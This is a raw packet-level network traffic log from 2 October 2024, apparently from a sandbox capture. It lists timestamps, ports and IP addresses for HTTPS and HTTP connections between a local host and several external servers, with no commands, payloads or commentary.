Oct 2, 2024 05:19:58.900369883 CEST	443	49771	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:58.900510073 CEST	49771	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:58.900738955 CEST	49771	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:58.900772095 CEST	443	49771	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:59.121553898 CEST	443	49770	172.67.184.196	192.168.2.4
Oct 2, 2024 05:19:59.121623039 CEST	49770	443	192.168.2.4	172.67.184.196
Oct 2, 2024 05:19:59.150059938 CEST	49770	443	192.168.2.4	172.67.184.196
Oct 2, 2024 05:19:59.150082111 CEST	443	49770	172.67.184.196	192.168.2.4
Oct 2, 2024 05:19:59.150461912 CEST	443	49770	172.67.184.196	192.168.2.4
Oct 2, 2024 05:19:59.151590109 CEST	49770	443	192.168.2.4	172.67.184.196
Oct 2, 2024 05:19:59.151632071 CEST	49770	443	192.168.2.4	172.67.184.196
Oct 2, 2024 05:19:59.151695967 CEST	443	49770	172.67.184.196	192.168.2.4
Oct 2, 2024 05:19:59.544424057 CEST	443	49771	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:59.544635057 CEST	49771	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:59.549885988 CEST	49771	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:59.549910069 CEST	443	49771	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:59.558958054 CEST	443	49770	172.67.184.196	192.168.2.4
Oct 2, 2024 05:19:59.559037924 CEST	443	49770	172.67.184.196	192.168.2.4
Oct 2, 2024 05:19:59.559083939 CEST	49770	443	192.168.2.4	172.67.184.196
Oct 2, 2024 05:19:59.562886953 CEST	49771	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:59.562901020 CEST	443	49771	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:59.601703882 CEST	49770	443	192.168.2.4	172.67.184.196
Oct 2, 2024 05:19:59.601721048 CEST	443	49770	172.67.184.196	192.168.2.4
Oct 2, 2024 05:19:59.601736069 CEST	49770	443	192.168.2.4	172.67.184.196
Oct 2, 2024 05:19:59.601742029 CEST	443	49770	172.67.184.196	192.168.2.4
Oct 2, 2024 05:19:59.773538113 CEST	49772	443	192.168.2.4	104.21.18.193
Oct 2, 2024 05:19:59.773572922 CEST	443	49772	104.21.18.193	192.168.2.4
Oct 2, 2024 05:19:59.773646116 CEST	49772	443	192.168.2.4	104.21.18.193
Oct 2, 2024 05:19:59.775799036 CEST	49772	443	192.168.2.4	104.21.18.193
Oct 2, 2024 05:19:59.775813103 CEST	443	49772	104.21.18.193	192.168.2.4
Oct 2, 2024 05:20:00.245392084 CEST	443	49772	104.21.18.193	192.168.2.4
Oct 2, 2024 05:20:00.245465040 CEST	49772	443	192.168.2.4	104.21.18.193
Oct 2, 2024 05:20:00.247293949 CEST	49772	443	192.168.2.4	104.21.18.193
Oct 2, 2024 05:20:00.247313976 CEST	443	49772	104.21.18.193	192.168.2.4
Oct 2, 2024 05:20:00.247565985 CEST	443	49772	104.21.18.193	192.168.2.4
Oct 2, 2024 05:20:00.249099970 CEST	49772	443	192.168.2.4	104.21.18.193
Oct 2, 2024 05:20:00.249123096 CEST	49772	443	192.168.2.4	104.21.18.193
Oct 2, 2024 05:20:00.249182940 CEST	443	49772	104.21.18.193	192.168.2.4
Oct 2, 2024 05:20:00.491111040 CEST	443	49771	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:00.491221905 CEST	443	49771	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:00.493875027 CEST	49771	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:00.495760918 CEST	49771	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:00.495803118 CEST	443	49771	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:00.497409105 CEST	49773	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:00.497497082 CEST	443	49773	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:00.497590065 CEST	49773	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:00.497900963 CEST	49773	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:00.497936964 CEST	443	49773	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:00.686618090 CEST	443	49772	104.21.18.193	192.168.2.4
Oct 2, 2024 05:20:00.686716080 CEST	443	49772	104.21.18.193	192.168.2.4
Oct 2, 2024 05:20:00.686909914 CEST	49772	443	192.168.2.4	104.21.18.193
Oct 2, 2024 05:20:00.688114882 CEST	49772	443	192.168.2.4	104.21.18.193
Oct 2, 2024 05:20:00.688131094 CEST	443	49772	104.21.18.193	192.168.2.4
Oct 2, 2024 05:20:00.688141108 CEST	49772	443	192.168.2.4	104.21.18.193
Oct 2, 2024 05:20:00.688147068 CEST	443	49772	104.21.18.193	192.168.2.4
Oct 2, 2024 05:20:00.742939949 CEST	49774	443	192.168.2.4	104.21.21.3
Oct 2, 2024 05:20:00.742981911 CEST	443	49774	104.21.21.3	192.168.2.4
Oct 2, 2024 05:20:00.743437052 CEST	49774	443	192.168.2.4	104.21.21.3
Oct 2, 2024 05:20:00.744424105 CEST	49774	443	192.168.2.4	104.21.21.3
Oct 2, 2024 05:20:00.744437933 CEST	443	49774	104.21.21.3	192.168.2.4
Oct 2, 2024 05:20:00.811326981 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:00.816195965 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:00.816261053 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:00.819583893 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:00.824361086 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:01.142060041 CEST	443	49773	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:01.142576933 CEST	49773	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:01.143754959 CEST	49773	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:01.143774986 CEST	443	49773	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:01.145411968 CEST	49773	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:01.145426035 CEST	443	49773	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:01.212338924 CEST	443	49774	104.21.21.3	192.168.2.4
Oct 2, 2024 05:20:01.212445021 CEST	49774	443	192.168.2.4	104.21.21.3
Oct 2, 2024 05:20:01.214057922 CEST	49774	443	192.168.2.4	104.21.21.3
Oct 2, 2024 05:20:01.214070082 CEST	443	49774	104.21.21.3	192.168.2.4
Oct 2, 2024 05:20:01.214322090 CEST	443	49774	104.21.21.3	192.168.2.4
Oct 2, 2024 05:20:01.215442896 CEST	49774	443	192.168.2.4	104.21.21.3
Oct 2, 2024 05:20:01.215466976 CEST	49774	443	192.168.2.4	104.21.21.3
Oct 2, 2024 05:20:01.215519905 CEST	443	49774	104.21.21.3	192.168.2.4
Oct 2, 2024 05:20:01.435928106 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:01.436141014 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:01.438668966 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:01.443464994 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:01.666738987 CEST	443	49774	104.21.21.3	192.168.2.4
Oct 2, 2024 05:20:01.666843891 CEST	443	49774	104.21.21.3	192.168.2.4
Oct 2, 2024 05:20:01.666914940 CEST	49774	443	192.168.2.4	104.21.21.3
Oct 2, 2024 05:20:01.667190075 CEST	49774	443	192.168.2.4	104.21.21.3
Oct 2, 2024 05:20:01.667190075 CEST	49774	443	192.168.2.4	104.21.21.3
Oct 2, 2024 05:20:01.667212009 CEST	443	49774	104.21.21.3	192.168.2.4
Oct 2, 2024 05:20:01.667221069 CEST	443	49774	104.21.21.3	192.168.2.4
Oct 2, 2024 05:20:01.696670055 CEST	49776	443	192.168.2.4	104.21.17.174
Oct 2, 2024 05:20:01.696695089 CEST	443	49776	104.21.17.174	192.168.2.4
Oct 2, 2024 05:20:01.696759939 CEST	49776	443	192.168.2.4	104.21.17.174
Oct 2, 2024 05:20:01.697074890 CEST	49776	443	192.168.2.4	104.21.17.174
Oct 2, 2024 05:20:01.697088957 CEST	443	49776	104.21.17.174	192.168.2.4
Oct 2, 2024 05:20:01.762392044 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:01.762943029 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:01.763926983 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:01.768677950 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:01.931763887 CEST	443	49773	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:01.931838989 CEST	443	49773	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:01.931915998 CEST	49773	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:01.932455063 CEST	49773	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:01.932486057 CEST	443	49773	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:01.943682909 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:01.943698883 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:01.943744898 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:01.950136900 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:01.954890966 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:01.983627081 CEST	49777	80	192.168.2.4	45.132.206.251
Oct 2, 2024 05:20:01.988442898 CEST	80	49777	45.132.206.251	192.168.2.4
Oct 2, 2024 05:20:01.989456892 CEST	49777	80	192.168.2.4	45.132.206.251
Oct 2, 2024 05:20:01.989631891 CEST	49777	80	192.168.2.4	45.132.206.251
Oct 2, 2024 05:20:01.989631891 CEST	49777	80	192.168.2.4	45.132.206.251
Oct 2, 2024 05:20:01.994955063 CEST	80	49777	45.132.206.251	192.168.2.4
Oct 2, 2024 05:20:01.994966030 CEST	80	49777	45.132.206.251	192.168.2.4
Oct 2, 2024 05:20:01.994975090 CEST	80	49777	45.132.206.251	192.168.2.4
Oct 2, 2024 05:20:01.995021105 CEST	80	49777	45.132.206.251	192.168.2.4
Oct 2, 2024 05:20:01.995029926 CEST	80	49777	45.132.206.251	192.168.2.4
Oct 2, 2024 05:20:01.995055914 CEST	80	49777	45.132.206.251	192.168.2.4
Oct 2, 2024 05:20:02.129957914 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:02.129982948 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:02.129993916 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:02.130021095 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:02.130059958 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:02.130078077 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:02.130089998 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:02.130101919 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:02.130119085 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:02.130147934 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:02.130151987 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:02.130186081 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:02.130223036 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:02.178342104 CEST	443	49776	104.21.17.174	192.168.2.4
Oct 2, 2024 05:20:02.178431988 CEST	49776	443	192.168.2.4	104.21.17.174
Oct 2, 2024 05:20:02.386406898 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:02.386539936 CEST	49776	443	192.168.2.4	104.21.17.174
Oct 2, 2024 05:20:02.386574984 CEST	443	49776	104.21.17.174	192.168.2.4
Oct 2, 2024 05:20:02.386902094 CEST	443	49776	104.21.17.174	192.168.2.4
Oct 2, 2024 05:20:02.388326883 CEST	49776	443	192.168.2.4	104.21.17.174
Oct 2, 2024 05:20:02.388345957 CEST	49776	443	192.168.2.4	104.21.17.174
Oct 2, 2024 05:20:02.388398886 CEST	443	49776	104.21.17.174	192.168.2.4
Oct 2, 2024 05:20:02.391292095 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:02.565702915 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:02.569283009 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:02.614648104 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:02.614696026 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:02.619563103 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:02.619574070 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:02.619601011 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:02.619645119 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:02.619652987 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:02.619698048 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:02.801265001 CEST	443	49776	104.21.17.174	192.168.2.4
Oct 2, 2024 05:20:02.801357985 CEST	443	49776	104.21.17.174	192.168.2.4
Oct 2, 2024 05:20:02.801418066 CEST	49776	443	192.168.2.4	104.21.17.174
Oct 2, 2024 05:20:02.801630020 CEST	49776	443	192.168.2.4	104.21.17.174
Oct 2, 2024 05:20:02.801649094 CEST	443	49776	104.21.17.174	192.168.2.4
Oct 2, 2024 05:20:02.801659107 CEST	49776	443	192.168.2.4	104.21.17.174
Oct 2, 2024 05:20:02.801665068 CEST	443	49776	104.21.17.174	192.168.2.4
Oct 2, 2024 05:20:02.811945915 CEST	49778	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:20:02.811979055 CEST	443	49778	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:02.812122107 CEST	49778	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:20:02.812679052 CEST	49778	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:20:02.812691927 CEST	443	49778	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:02.847184896 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:02.847259045 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:02.847857952 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:02.848476887 CEST	80	49777	45.132.206.251	192.168.2.4
Oct 2, 2024 05:20:02.848551035 CEST	49777	80	192.168.2.4	45.132.206.251
Oct 2, 2024 05:20:02.852587938 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.050158978 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.050177097 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.050194025 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.050228119 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.050250053 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.050309896 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.050359964 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.050371885 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.050396919 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.050419092 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.050698996 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.050762892 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.050769091 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.050777912 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.050807953 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.050828934 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.051136017 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.051163912 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.051175117 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.051199913 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.051223993 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.051275969 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.051316023 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.051328897 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.051362038 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.129354000 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.129399061 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.129412889 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.129434109 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.129445076 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.129477024 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.129585981 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.129626036 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.129637003 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.129663944 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.129673958 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.129947901 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.129991055 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.129995108 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.130007029 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.130037069 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.130054951 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.130062103 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.130095959 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.140697956 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.140779018 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.140788078 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.140804052 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.140809059 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.140815973 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.140822887 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.140844107 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.140852928 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.140949965 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.140960932 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.140971899 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.140985966 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.140999079 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.141010046 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.141634941 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.141653061 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.141663074 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.141697884 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.141951084 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.141989946 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.142004013 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.142014027 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.142045975 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.142079115 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.142508030 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.142524958 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.142534018 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.142546892 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.142554998 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.142582893 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.208877087 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.208889008 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.208904028 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.208915949 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.208926916 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.208940983 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.208966017 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.209100008 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.209117889 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.209156036 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.209235907 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.209271908 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.209296942 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.209307909 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.209345102 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.209589005 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.209599018 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.209640026 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.219973087 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.220025063 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.220035076 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.220052004 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.220081091 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.220088959 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.220092058 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.220098972 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.220122099 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.220133066 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.220237017 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.220248938 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.220258951 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.220271111 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.220283031 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.220303059 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.220946074 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.220987082 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.220998049 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.221009016 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.221045971 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.221262932 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.221301079 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.221321106 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.221332073 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.221364975 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.221388102 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.221425056 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.231168032 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.231178045 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.231213093 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.231297016 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.231369972 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.231406927 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.231414080 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.231456995 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.231492996 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.231709957 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.231746912 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.231775999 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.231786013 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.231811047 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.231834888 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.231864929 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.231879950 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.231926918 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.231926918 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.232343912 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.232388020 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.232398987 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.232422113 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.232445002 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.232494116 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.232515097 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.232522011 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.232563972 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.232563972 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.232650042 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.232686996 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.233273983 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.233306885 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.233319998 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.233361959 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.233361959 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.233428001 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.233441114 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.233469009 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.233495951 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.233515024 CEST	80	49775	46.8.231.109	192.168.2.4
